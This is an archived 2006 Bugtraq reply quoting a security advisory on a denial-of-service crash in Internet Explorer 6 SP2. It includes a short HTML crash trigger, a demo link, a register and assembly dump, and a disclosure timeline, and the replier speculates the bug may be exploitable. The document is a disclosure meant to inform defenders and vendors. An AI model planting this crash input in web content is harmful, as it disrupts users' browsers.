

Re: [BuHa-Security] DoS Vulnerability in MS IE 6 SP2

Source: <http://www.derkeiler.com/Mailing-Lists/securityfocus/bugtraq/2006-05/msg00561.html>

- *From:* "ad@xxxxxxxxxxxxxxxxxxxx" <ad@xxxxxxxxxxxxxxxxxxxx>
 - *Date:* Fri, 26 May 2006 18:56:28 +0200
-

-----BEGIN PGP SIGNED MESSAGE-----

Hash: SHA1

are you sure dos only ? got a quick look on it , and if you are able to control this null pointer , the bug is exploitable, might be good more research on this bug.

bugtraq@xxxxxxxxxxxxx wrote:

Hash: RIPEMD160

| BuHa Security-Advisory #12 | May 25th, 2006 |

| Vendor | MS Internet Explorer 6.0 |

| URL | <http://www.microsoft.com/windows/ie/> |

| Version | <= 6.0.2900.2180.xpsp_sp2 |

| Risk | Low (Denial of Service) |

o Description:

=====

Internet Explorer, abbreviated IE or MSIE, is a proprietary web browser made by Microsoft and currently available as part of Microsoft Windows.

Re: [BuHa–Security] DoS Vulnerability in MS IE 6 SP2

Visit <http://www.microsoft.com/windows/ie/default.msp> or

http://en.wikipedia.org/wiki/Internet_Explorer for detailed information.

o Denial of Service: <mshtml.dll>#7d6d2db4

=====

Following HTML code forces MS IE 6 to crash:

```
<applet><h4><title> </title><base>
```

Online–demo:

<http://morph3us.org/security/pen–testing/msie/ie60–1132901785453–7d6d2db4.html>

These are the register values and the ASM dump at the time of the access

violation:

```
eax=00000000 ebx=00000000 ecx=00e78d38 edx=00e7a704  
esi=0012a268
```

```
edi=00000000 eip=7d6d2db4 esp=0012a228 ebp=0012a25c
```

```
7d6d2d7d e868f9ffff call mshtml+0x2226ea (7d6d26ea)
```

```
7d6d2d82 50 push eax
```

```
7d6d2d83 e835f8ffff call mshtml+0x2225bd (7d6d25bd)
```

```
7d6d2d88 85c0 test eax,eax
```

Re: [BuHa–Security] DoS Vulnerability in MS IE 6 SP2

7d6d2d8a 8945f8 mov [ebp–0x8],eax

7d6d2d8d 0f85c4020000 jne mshtml+0x223057 (7d6d3057)

7d6d2d93 8b461c mov eax,[esi+0x1c]

7d6d2d96 8b4e18 mov ecx,[esi+0x18]

7d6d2d99 8365f400 and dword ptr [ebp–0xc],0x0

7d6d2d9d 8365fc00 and dword ptr [ebp–0x4],0x0

7d6d2da1 8b7e14 mov edi,[esi+0x14]

7d6d2da4 8945f0 mov [ebp–0x10],eax

7d6d2da7 e88462e4ff call mshtml+0x69030 (7d519030)

7d6d2dac 3bc7 cmp eax,edi

7d6d2dae 0f8402020000 je mshtml+0x222fb6 (7d6d2fb6)

FAULT ->7d6d2db4 8b07 mov eax,[edi]

ds:0023:00000000=????????

Re: [BuHa–Security] DoS Vulnerability in MS IE 6 SP2

7d6d2db6 8bc8 mov ecx,eax

7d6d2db8 83e10f and ecx,0xf

7d6d2dbb 49 dec ecx

7d6d2dbc 0f849c010000 je mshtml+0x222f5e (7d6d2f5e)

7d6d2dc2 49 dec ecx

7d6d2dc3 0f84b3000000 je mshtml+0x222e7c (7d6d2e7c)

7d6d2dc9 49 dec ecx

7d6d2dca 49 dec ecx

7d6d2dcb 746c jz mshtml+0x222e39 (7d6d2e39)

7d6d2dcd 83e904 sub ecx,0x4

7d6d2dd0 0f85a5010000 jne mshtml+0x222f7b (7d6d2f7b)

7d6d2dd6 8bcf mov ecx,edi

7d6d2dd8 e8482ffeff call mshtml+0x205d25 (7d6b5d25)

Re: [BuHa–Security] DoS Vulnerability in MS IE 6 SP2

7d6d2ddd 85c0 test eax,eax

7d6d2ddf 7430 jz mshtml+0x222e11 (7d6d2e11)

7d6d2de1 837e0400 cmp dword ptr [esi+0x4],0x0

This issue is a non–exploitable Null Pointer Dereference vulnerability and leads to DoS.

o Vulnerable versions:

=====

The DoS vulnerability was successfully tested on:

MS IE 6 SP2 – Win XP Pro SP2

MS IE 6 – Win 2k SP4

o Disclosure Timeline:

=====

xx Feb 06 – Vulnerabilities discovered.

08 Mar 06 – Vendor contacted.

22 Mar 06 – Vendor confirmed vulnerabilities.

25 May 06 – Public release.

o Solution:

Re: [BuHa–Security] DoS Vulnerability in MS IE 6 SP2

=====

I think – this is not an official statement from the Microsoft Security Response Center – the vulnerability will be fixed in an upcoming service pack.

o Credits:

=====

Thomas Waldegger <bugtraq@xxxxxxxxxxxx>

BuHa–Security Community – <http://buha.info/board/>

If you have questions, suggestions or criticism about the advisory feel free to send me a mail. The address 'bugtraq@xxxxxxxxxxxx' is more a spam address than a regular mail address therefore it's possible that some mails get ignored. Please use the contact details at <http://morph3us.org/> to contact me.

Greets fly out to cyrus–tc, destructor, nait, rhy, trappy and all members of BuHa.

Advisory online: <http://morph3us.org/advisories/20060525–msie6–sp2–1.txt>

--

Don't you feel the power of CSS Layouts?

BuHa–Security Community: <http://buha.info/board/>

_____ NOD32 1.1560 (20060526) Information _____

This message was checked by NOD32 antivirus system.
<http://www.eset.com>

Re: [BuHa–Security] DoS Vulnerability in MS IE 6 SP2

Re: [BuHa–Security] DoS Vulnerability in MS IE 6 SP2

-----BEGIN PGP SIGNATURE-----

Version: GnuPG v1.4.2.1 (MingW32)

iD8DBQFEdzM8FJS99fNfR+YRAsjuAKCBW98EprQ74gqSQbZyxE9pX3LJSgCfbnW3
xga88FMjNWjJ0eWSeiav4dM=
=kk0I

-----END PGP SIGNATURE-----

begin:vcard
fn:Arnaud Dovi / Ind. Security Researcher
n:Dovi;Arnaud
email;internet:ad@xxxxxxxxxxxxxxxxxxxx
tel;work:Independent Security Researcher
version:2.1
end:vcard